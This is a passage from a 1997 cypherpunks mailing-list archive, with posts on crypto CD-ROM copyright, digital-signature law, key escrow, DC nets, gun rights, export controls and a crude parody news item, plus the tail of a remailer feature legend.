          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: andrade@netcom.com (Andrade Software Andrade Networking)
Date: Mon, 30 Jun 1997 22:25:49 +0800
To: schneier@counterpane.com (Bruce Schneier)
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <v0300780bafdcc91fd725@[206.11.192.100]>
Message-ID: <199706301418.HAA26242@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Andrade Software & Networking
Andrad@Netcom.Com
X-Mailer: ELM [version 2.4 PL23]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 399       

Bruce Schneier wrote:
> 
> The cost should be reasonable.  And I hope nobody posts the text, or the
> publishers won't ever do it again.
> 
You need some way to protect electronic copyrights.
Unfortunately, any widespread, practical method is probably at 
least 5 years in the future.

- Alex

-- 

Alex Alten
P.O. Box 11406
Pleasanton, CA  94588
USA

Andrade@Netcom.Com
(510) 417-0159   Fax/Voice





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Immoral Majority <get@a.life>
Date: Mon, 30 Jun 1997 20:47:39 +0800
Subject: Government at Work (prudish idiocy)
Message-ID: <9706301229.AA11527@alpha.magibox.net>
MIME-Version: 1.0
Content-Type: text/plain



from Wired News:

Oklahoma-am-Rhein: Police Seize Oscar Winner 
12:05 pm 

Oklahoma City police seized copies of
The Tin Drum, the 1979 Academy Award winner
for best foreign film, after a judge ruled the film
obscene under Oklahoma law. On Thursday,
police began removing the movie from video stores
and, using store records, tracking down those who
possessed rented copies. Oklahoma District
Judge Richard Freeman acted on a complaint by
Oklahomans for Children and Families, which was
upset by a scene in which a young boy has oral
sex with a teenage girl.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 1 Jul 1997 00:05:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Government at Work (prudish idiocy)
Message-ID: <3.0.32.19970630085326.006c5f1c@best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:29 AM 6/30/97 -0500, you wrote:
>
>from Wired News:
>
>Oklahoma-am-Rhein: Police Seize Oscar Winner 
>12:05 pm 
>
>Oklahoma City police seized copies of
>The Tin Drum, the 1979 Academy Award winner
>for best foreign film, after a judge ruled the film
>obscene under Oklahoma law. On Thursday,
>police began removing the movie from video stores
>and, 

using store records, tracking down those who
>possessed rented copies. 

 ..../\ last I heard, this was illegal without a warrant.  Of course, in
the pursuit of Justice and the Law I suppose the warrant was easily
obtained.  OR was is obtained at all?

Oklahoma District
>Judge Richard Freeman acted on a complaint by
>Oklahomans for Children and Families, which was
>upset by a scene in which a young boy has oral
>sex with a teenage girl.
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 1 Jul 1997 01:08:35 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: <v0310280aafd99b7a9d15@[207.167.93.63]>
Message-ID: <v03007800afdd85e782c6@[207.94.249.169]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:16 PM -0700 6/29/97, Bill Stewart wrote:
>At 09:41 AM 6/27/97 -0700, Tim May wrote:
>>I also applaud what my local Congresscritterwoman says, and especially her
>>quotation of the Dan Gillmor column from the local Silicon Valley
>>newspaper. I saw this colum several days ago and was impressed, especially
>>by the quote I include below.
>
>Of course, after saying good things about the stupid
>and offensive anti-encryption bill (applaud applaud),
>she followed it up by reacting to the Supreme Court CDA decision
>by announcing son-of-CDA, a bill to require ISPs to offer censorware.
>Oh, well.

To get elected in America, you have to give the voters someone to hate.
Back 10 years ago, it was criminals, then it was wetbacks, now it is
pornographers (and tobacco companies).  Hate is just so much better as a
motivating force than good government (whatever "good" is).


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 1 Jul 1997 02:27:12 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <3.0.2.32.19970630095754.0075943c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Bruce Schneier wrote:
> The cost should be reasonable.  And I hope nobody posts the text, or the
> publishers won't ever do it again.

At 04:02 PM 6/30/97 +0000, Paul Bradley wrote:
>> It is only available to US customers.
>
>Possibly some benevolent US cypherpunk who gets a copy of this CD could see 
>that the texts from it find their way onto either an FTP server or 
>somewhere like sci.crypt??? Anonymous responses and pointers expected if 
>anyone does have the time and is good enough to do this.

No point in being anonymous when I'm flaming you.  Bruce did _not_ appear 
to be saying "I'd be shocked, _shocked_ if this were posted to the net."
He said he's talked his publishers into putting some great crypto books
on CD-ROM, which is the sort of the publishers do to make money.
Even if you're not impressed with copyright laws as law, or with the
enforcability of copyright laws, you can still not rip them off.
Adam Back, by contrast, said he'd be quite pleased if some US cypherpunk
were to physically mail him a copy of the disk, which he'd pay for.
While that's arguably violating export laws, it's not ripping anyone off.

You could argue, BTW, that CD-ROMs _are_ print - after all, they're
just dark and light dots on plastic intended to be read optically,
and they're not much different from a really small print Braille font.
You might need to argue that with Judge Patel, _after_ the DoiJ/NSA/BXA
appeal the Bernstein settlement and lose :-)  And it's probably worth
getting the bar-code version of the T-Shirt through export first.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Tue, 1 Jul 1997 01:18:56 +0800
To: Andrade Software Andrade Networking <andrade@netcom.com>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <199706301418.HAA26242@netcom13.netcom.com>
Message-ID: <Pine.GSO.3.96.970630100233.18591D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 30 Jun 1997, Andrade Software Andrade Networking wrote:

> Bruce Schneier wrote:
> > 
> > The cost should be reasonable.  And I hope nobody posts the text, or the
> > publishers won't ever do it again.
> > 
> You need some way to protect electronic copyrights.
> Unfortunately, any widespread, practical method is probably at 
> least 5 years in the future.

Copyright laws will do nothing to prevent the text from being distributed.
All copyright laws will do is make you able to punish "offenders" after
the fact.  They have no mystical value to "protect" anything, especially
digital medium, which is easy to copy.

I can understand Bruce's view on this though.  We want these things to
spread.  The more copies that get published, the harder the task becomes
to supress info on crypto.  Kind of a fine line between making it
available and making it available for everyone...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 1 Jul 1997 01:52:46 +0800
To: cypherpunks@Algebra.COM
Subject: The Hate Minute
In-Reply-To: <3.0.2.32.19970629151626.006e20f4@popd.ix.netcom.com>
Message-ID: <v03102802afdda0c9df6a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:57 AM -0700 6/30/97, Bill Frantz wrote:

>To get elected in America, you have to give the voters someone to hate.
>Back 10 years ago, it was criminals, then it was wetbacks, now it is
>pornographers (and tobacco companies).  Hate is just so much better as a
>motivating force than good government (whatever "good" is).

Yes, why don't we just finish the process and institute the "Hate Minute"?

One day it could be Gunter Grass, the next it could be Kenneth Starr, and
so on.

Each day BB Bill could lead us in a minute of hate, carried live on CNN,
MSNBC, and the Internet.

Back to the war with Oceania...

--Winston Smith


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 30 Jun 1997 23:11:17 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Digital Signatures & THE LAW???
In-Reply-To: <199706291535.KAA05045@mailhub.amaranth.com>
Message-ID: <3.0.3.32.19970630105405.033c23cc@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 10:35 AM 6/29/97 -0500, William H. Geiger III wrote:
>Has there been any concideration for the difference between a digital
>signature that is used only for authentication and one that is legally
>binding??
>
>I would hate for these Digital Signature Laws make every e-mail message I
>sent a legally binding document. :(

Examples of signatures that have previously been tested as legal binding 
signatures include not only actual signatures, but an 'X' and 'Mickey Mouse'. 
 The intention of "legally binding" is merely the proof of authentication.  
So yes, I would say that all digitally signed email in now legally binding, 
with one exception.

There has been a move to make a digital writing a writing only when both 
parties agree to it's usage.  There is a belief that some documents should 
not be digital.  An example is an eviction notice.  Stapling a diskette to 
the doorframe may not be acceptable notice for eviction, as compared with a 
paper notice.  Since most internet users are ineffective at managing their 
email, a legal notice deposited in an inbox may not be a desirable way to 
serve notice.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7fIiUGpGhRXg5NZAQF59wIAvsnM/U9cs69KedfZzi7XuiF+U9KICWpz
vbZkDVKSwJAFvVRcKT0HDqDUlKgIa8UFo/eGfQ2oiAx+Z0lqFOYFHQ==
=ylgI
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 1 Jul 1997 02:44:28 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970628163155.33743@bywater.songbird.com>
Message-ID: <19970630111759.13667@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 30, 1997 at 04:25:17PM +0000, Paul Bradley wrote:
> 
> > juicy, but just as viable.  And Nazi Germany is also proof that strong
> > crypto really doesn't do much good when the rubber hoses can be
> > deployed without hinderance.
> 
> Strong crypto you must remember is only part of the solution. The reason 
> for the lack of direct response from the Jews during the holocaust was 
> the "legally elected" 3rd Reichs programme of disarming it`s citizens.

In "the real world" (tm by Kent Crispin), Paul, there isn`t anything
that has a single cause, and chains of causality twist, entertwine,
and extend backward indefinitely.  The lack of a "direct response" --
well, you should be able to think of thirty reasons before breakfast,
if you try. 

[...]

> > > >It's amazing how little faith libertarians have in the market system,
> > > >isn't it?  :-)
> > > 
> > > A cheap shot, even taking into account Kent Crispin's shilling for GAK.
> > 
> > Like shooting fish in a barrel, really.  Anyway, you know that I don't
> > favor GAK, so where are you coming from?  All I have ever said is 
> > that there is strong corporate demand for enterprise level key 
> > recovery. 
> 
> For once we agree, CACK (corporate access to corporate keys) is a service 
> that is in demand, and will be more in demand in future. I see no reason 
> for this to involve any government or be a regulated market, a 
> competitive corporate escrow market is the best way to go.

Key recovery, of course, involves a very wide range of possible
implementations, escrow services being only one.  My gripe has been
that cypherpunks (this is an overgeneralization, to be sure) are so
averse to key recovery in any form that good systems are simply not
being developed.  Thus there isn't a healthy, competitive market, and
thus, government and corporate interests are taking the field, by
default.  This is a crying shame.  Key management is one of the basic
problems of cryptography -- arguably the most important outstanding
problem for any practical system today.  As crypto spreads into the
collective consciousness people will likely have many keys.  
Dedicated souls can keep track of several infrequently used 
passphrases, but for most of us it just doesn't work.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 1 Jul 1997 02:45:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: <v0310280aafd99b7a9d15@[207.167.93.63]>
Message-ID: <19970630113102.27239@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 30, 1997 at 09:57:11AM -0700, Bill Frantz wrote:
> 
> To get elected in America, you have to give the voters someone to hate.
> Back 10 years ago, it was criminals, then it was wetbacks, now it is
> pornographers (and tobacco companies).  Hate is just so much better as a
> motivating force than good government (whatever "good" is).

Hate is used as a motivating force by entities other than governments 
-- we see it used every day here on CP.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcs Mixmaster Remailer <mix@anon.lcs.mit.edu>
Date: Tue, 1 Jul 1997 00:07:22 +0800
To: cypherpunks@toad.com
Subject: Re: Australian "Walsh" report exposes the hole in key escrow
Message-ID: <19970630154000.3345.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain




John Davidson wrote:
> The US National Institute of Standards and Technology recently made a 
> worldwide plea for cryptography algorithms that can be used for 
> authentication and not for encryption. 
     
  And, of course, cannot be used to authenticate encryption keys. Oh, but
they're just binary data, aren't they? So those Evil Terrorists(tm) will
simply use their magic authentication-only keys to authenticate their
secret un-surrendered encryption keys and they're off.

SignatureMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 30 Jun 1997 23:11:13 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <Pine.LNX.3.91.970630155852.749A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
> Price $99.95
> 
> Includes the following books:

<LIST OF BOOKS CUT...>

> It is only available to US customers.


Possibly some benevolent US cypherpunk who gets a copy of this CD could see 
that the texts from it find their way onto either an FTP server or 
somewhere like sci.crypt??? Anonymous responses and pointers expected if 
anyone does have the time and is good enough to do this.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 1 Jul 1997 01:52:10 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <19970628163155.33743@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970630161745.749C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> juicy, but just as viable.  And Nazi Germany is also proof that strong
> crypto really doesn't do much good when the rubber hoses can be
> deployed without hinderance.

Strong crypto you must remember is only part of the solution. The reason 
for the lack of direct response from the Jews during the holocaust was 
the "legally elected" 3rd Reichs programme of disarming it`s citizens.

Strong crypto along with other communication technologies provide a 
strong and secure framework within which armed resistance can take place, 
these same technologies also allow for infowarfare type attacks on the 
infrastructure of whole countries or jurisdictions.

> In fact, your safety and wealth depends in large measure on the
> protections provided by that government you scorn.  In any healthy
> tyranny the jackboots would have been on your throat long ago,
> regardless of your little arsenal, and your money would be purchasing 
> toys for the rulers.

Well, tax money already does purchase toys for the rulers and the 
jackboots are moving towards our throats slowly so no-one notices. Safety 
and wealth derive from free market economies and rights to self-defence, 
not from a government.

> > >It's amazing how little faith libertarians have in the market system,
> > >isn't it?  :-)
> > 
> > A cheap shot, even taking into account Kent Crispin's shilling for GAK.
> 
> Like shooting fish in a barrel, really.  Anyway, you know that I don't
> favor GAK, so where are you coming from?  All I have ever said is 
> that there is strong corporate demand for enterprise level key 
> recovery. 

For once we agree, CACK (corporate access to corporate keys) is a service 
that is in demand, and will be more in demand in future. I see no reason 
for this to involve any government or be a regulated market, a 
competitive corporate escrow market is the best way to go.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 1 Jul 1997 07:58:38 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Digital Signatures & THE LAW???
In-Reply-To: <199706291535.KAA05045@mailhub.amaranth.com>
Message-ID: <3.0.3.32.19970630164631.00b5c9d0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



William Geiger III wrote:

>Has there been any concideration for the difference between a digital
>signature that is used only for authentication and one that is legally
>binding??
>
>I would hate for these Digital Signature Laws make every e-mail message I
>sent a legally binding document. :(

I realize I'm in danger of sounding like Tim here, but I remember writing a
long message about this some months ago - perhaps it's available through
the archives.

"Legally binding" isn't a useful way to think about this sort of thing.
Signatures serve at least two different purposes; sometimes they're
required to form a contract (say, for the transfer of an interest in real
estate, or a contract which cannot be performed in less than a year, or for
the sale of goods worth more than $500) and sometimes they serve as
evidence that a person has had access to or contact with a physical thing
(like a paper copy of an agreement).

Contract law does not revolve around signatures, it revolves around
agreements. If you don't have an agreement with someone (and haven't acted
in a way which would have led a reasonable person to think you had an
agreement) then you don't have a contract with them. A signature can be
evidence of an agreement, and it may be required to form certain
agreements; but a signature is not an agreement. It's a pattern made with
ink or with bits; an agreement is a legal relationship. The map is not the
territory. 

If your e-mail doesn't seem to be proposing an agreement, or accepting an
agreement, I don't think you need to worry that you're going to
accidentally form a contract with someone. Other concerns (like, say, that
a digitally signed message could be introduced as evidence in a criminal or
civil trial) seem to stem from the assumption that unsigned messages won't
be admissible .. and I think that assumption will prove to be false. Courts
admit evidence whose origin is disputed or uncertain all of the time, and
trust the jury to decide who they'll believe. There's no reason to assume
that electronic evidence (as opposed to eyewitness accounts, or
photographic evidence, or other falsifiable evidence) will be excluded
because it's potentially suspect. The addition of a digital signature makes
the spurious "But how do you know *I* sent that messsage?" argument less
plausible - but I think that argument's a loser anyway, at least in most
cases.

If you're really worried about it, you could add "THIS KEY WILL NOT BE USED
TO SIGN OR FORM CONTRACTS" to your ID string for your public key - but I'm
not sure it really makes much difference. 
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 1 Jul 1997 06:38:59 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.LNX.3.91.970628212839.98A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.BSF.3.91.970630165630.24139F-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 28 Jun 1997, Paul Bradley wrote:

> however, banning ownership of guns for any felony is definitely not at 
> all reasonable.
> 

It beats being banned from possessing weapons for living in the U.K.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 1 Jul 1997 06:41:59 +0800
To: cypherpunks@toad.com
Subject: Marc Andreessen on encryption and CDA
Message-ID: <v03007813afddcf2813fa@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Marc Andreessen from Netscape spoke at a National Press Club luncheon on
June 20. Attached is an excerpt from a transcript of his remarks.

-Declan

---

NATIONAL PRESS CLUB LUNCHEON
MARC ANDREESSEN, NETSCAPE
FRIDAY, JUNE 20, 1997

[...]

The goal here in all these markets should be open
access -- open access for any new competitor who wants
to offer content and services, who wants to offer
hardware and software, who wants to offer bandwidth
for the Net itself. And then open access should also
allow each consumer and business to choose and buy
from any set of vendors it wants.

Now, I am not suggesting anything radical -- no major
new laws or sweeping regulations, but simply that we
must ensure we have vigorous enforcement first of
existing antitrust laws and vigorous promotion of
normal healthy competitive markets in these areas --
network services, software and hardware, content and
consumer services. Once we have that, then we need to
make sure we just don't screw it up. For example --
just one example -- patently ridiculous limitations on
the ability of American companies to both produce and
use encryption software and hardware internationally.
Encryption technology now is freely available to
criminals and terrorists all around the world,
overseas, on the Web. You can buy it from NTT, you can
buy it from companies out of South Africa, England,
and many other countries. And we are really at this
point deluding ourselves with respect to our ability
to control this technology. The genie is clearly
already out of the bottle.

However, current regulations, current arms traffic
regulations that apply to this technology and the new
McCain-Kerry bill that just was introduced a couple of
days ago -- the real effect there is that they are
ceding the international data security market to
non-U.S. vendors. They are really stunting now the
development of the Net as a commercial medium, and
they are leaving American companies fundamentally
unprotected from economic espionage and terrorism
abroad. One final example, imposing censorship laws in
this new consumer content medium that are more
stringent and restrictive than those on newspaper and
television.

[...]


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 1 Jul 1997 10:38:48 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <97Jun25.162334edt.32257@brickwall.ceddec.com>
Message-ID: <3.0.2.32.19970630170619.0075ca98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:57 PM 6/25/97 -0700, Lucky Green <shamrock@netcom.com> wrote:
>Regarding DC nets:
>Modern tree structures only double the bandwidth requirement. DC nets are 
>practical today. I would encourage CP's to work on implementations.

How do you do that?  Arrange the XORs to do x0^x1, x2^x3....,
then (x0^x1)^(x2^x3)... etc., ending up with user 0 doing the last XOR,
and broadcasting or tree-casting the results?  It cuts down on bandwidth
for the average user, but does end up with a few users doing most of the work,
and perhaps there's some security risk in the unbalanced workload.
It's an interesting approach, and I suppose you could do a bit more work
(logn instead of 2) to spread the partial results around so more people
can calculate them directly (e.g. user 0 sends user 2 x0^x1, and sends 
user 1 x2^x3, and if you're still paranoid you can have user 0 also send
user 3 x0^x1, which user 2 and user 3 can compare....)

You've probably got to put more thought into getting the details right,
like collision detection and backoff, but it's still doable.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 1 Jul 1997 09:54:23 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <Pine.BSF.3.91.970630165630.24139F-100000@mcfeely.bsfs.org>
Message-ID: <Pine.3.89.9706301850.A28965-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



The idea is that the criminal has received their punishment once released 
from prison. Any further infringements on the person's rights are
unacceptable. That includes the person's Natural Right to acquire 
fully-automatic weapons, should he so desire. [BTW, the nature of the crime 
committed is irrelevant].


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Mon, 30 Jun 1997, Rabid Wombat wrote:

> 
> 
> On Sat, 28 Jun 1997, Paul Bradley wrote:
> 
> > however, banning ownership of guns for any felony is definitely not at 
> > all reasonable.
> > 
> 
> It beats being banned from possessing weapons for living in the U.K.
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dick Liquor <dl@swallow.cum>
Date: Tue, 1 Jul 1997 09:57:11 +0800
To: cypherpunks@toad.com
Subject: Dorothy and Not-Toto Do D.C.
Message-ID: <33B8591F.373D@swallow.cum>
MIME-Version: 1.0
Content-Type: text/plain



[Routers--July 1, 1997]

CHEMICAL SPILL BY THE RIVER, U.S.A.:
  PRESIDENT Clinton, commenting on the British retreat from Hong Kong,
told reporters, "The Chinese are a nuclear power, so the British had
to 'put on a happy(~diplomatic) face' as the Chinese troops rolled in,
no matter what the Chinese did at Kent State, Waco and Ruby Ridge."
  When his 'faux pas' was pointed out, Clinton laughed it off by saying,
"Well, you know how it is...you kill a dissident and, an hour later,
you want to kill again."

  A reporter who recently spent the night in the Lincoln bedroom saved
the President further embarassment by changing the subject to the recent
telivised debate on encryption between Dorothy Denning and Tim C. May,
a grouchy old cypherpunk.
  Clinton seized the opportunity to play to the law and order crowd,
responding, "That crazy bastard bit her fucking ear off! This kind of
disgusting incident is exactly what our encryption policy is designed
to address."
  When pressed to explain his statement, the President stated that if
Mr. May had not been exposed to ear-biting pornography spread across the
Internet with strong encryption, that children would not now be exposed
to it in the televised news coverage of the May-Denning incident."

  When reporters asked about the Paula Jones incident, President Clinton
replied, "I think she has me confused with Mike Tyson."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 1 Jul 1997 10:55:19 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Marc Andreessen on encryption and CDA
Message-ID: <3.0.32.19691231160000.006d0374@best.com>
MIME-Version: 1.0
Content-Type: text/plain



My biggest problem is when the pundits (and by extension, those that punt
to them)
frame this entire debate in terms of the Market.  To do so is to argue that
only solutions
that are good for The Market are good solutions; that when a particular
policy is market-agnostic
or market-negative, even though it may be good policy for People (yes,
remember them ???) it is irrelevant or
bad.  This debate is NOT about the Worldwide Encryption Market!


At 05:02 PM 6/30/97 -0400, Declan McCullagh wrote:
>
>Marc Andreessen from Netscape spoke at a National Press Club luncheon on
>June 20. Attached is an excerpt from a transcript of his remarks.
>
>-Declan
>
>---
>
>NATIONAL PRESS CLUB LUNCHEON
>MARC ANDREESSEN, NETSCAPE
>FRIDAY, JUNE 20, 1997
>
>[...]
>
>The goal here in all these markets should be open
>access -- open access for any new competitor who wants
>to offer content and services, who wants to offer
>hardware and software, who wants to offer bandwidth
>for the Net itself. And then open access should also
>allow each consumer and business to choose and buy
>from any set of vendors it wants.
>
>Now, I am not suggesting anything radical -- no major
>new laws or sweeping regulations, but simply that we
>must ensure we have vigorous enforcement first of
>existing antitrust laws and vigorous promotion of
>normal healthy competitive markets in these areas --
>network services, software and hardware, content and
>consumer services. Once we have that, then we need to
>make sure we just don't screw it up. For example --
>just one example -- patently ridiculous limitations on
>the ability of American companies to both produce and
>use encryption software and hardware internationally.
>Encryption technology now is freely available to
>criminals and terrorists all around the world,
>overseas, on the Web. You can buy it from NTT, you can
>buy it from companies out of South Africa, England,
>and many other countries. And we are really at this
>point deluding ourselves with respect to our ability
>to control this technology. The genie is clearly
>already out of the bottle.
>
>However, current regulations, current arms traffic
>regulations that apply to this technology and the new
>McCain-Kerry bill that just was introduced a couple of
>days ago -- the real effect there is that they are
>ceding the international data security market to
>non-U.S. vendors. They are really stunting now the
>development of the Net as a commercial medium, and
>they are leaving American companies fundamentally
>unprotected from economic espionage and terrorism
>abroad. One final example, imposing censorship laws in
>this new consumer content medium that are more
>stringent and restrictive than those on newspaper and
>television.
>
>[...]
>
>
>-------------------------
>Declan McCullagh
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 1 Jul 1997 11:25:34 +0800
To: geeman@best.com
Subject: Re: Marc Andreessen on encryption and CDA
In-Reply-To: <3.0.32.19691231160000.006d0374@best.com>
Message-ID: <Pine.GSO.3.95.970630195816.4992H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Ah, but what is a market except voluntary transactions between people?
What is good for the market is good for the people.

-Declan

On Mon, 30 Jun 1997 geeman@best.com wrote:

> My biggest problem is when the pundits (and by extension, those that punt
> to them)
> frame this entire debate in terms of the Market.  To do so is to argue that
> only solutions
> that are good for The Market are good solutions; that when a particular
> policy is market-agnostic
> or market-negative, even though it may be good policy for People (yes,
> remember them ???) it is irrelevant or
> bad.  This debate is NOT about the Worldwide Encryption Market!
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 1 Jul 1997 08:35:54 +0800
To: cypherpunks@toad.com
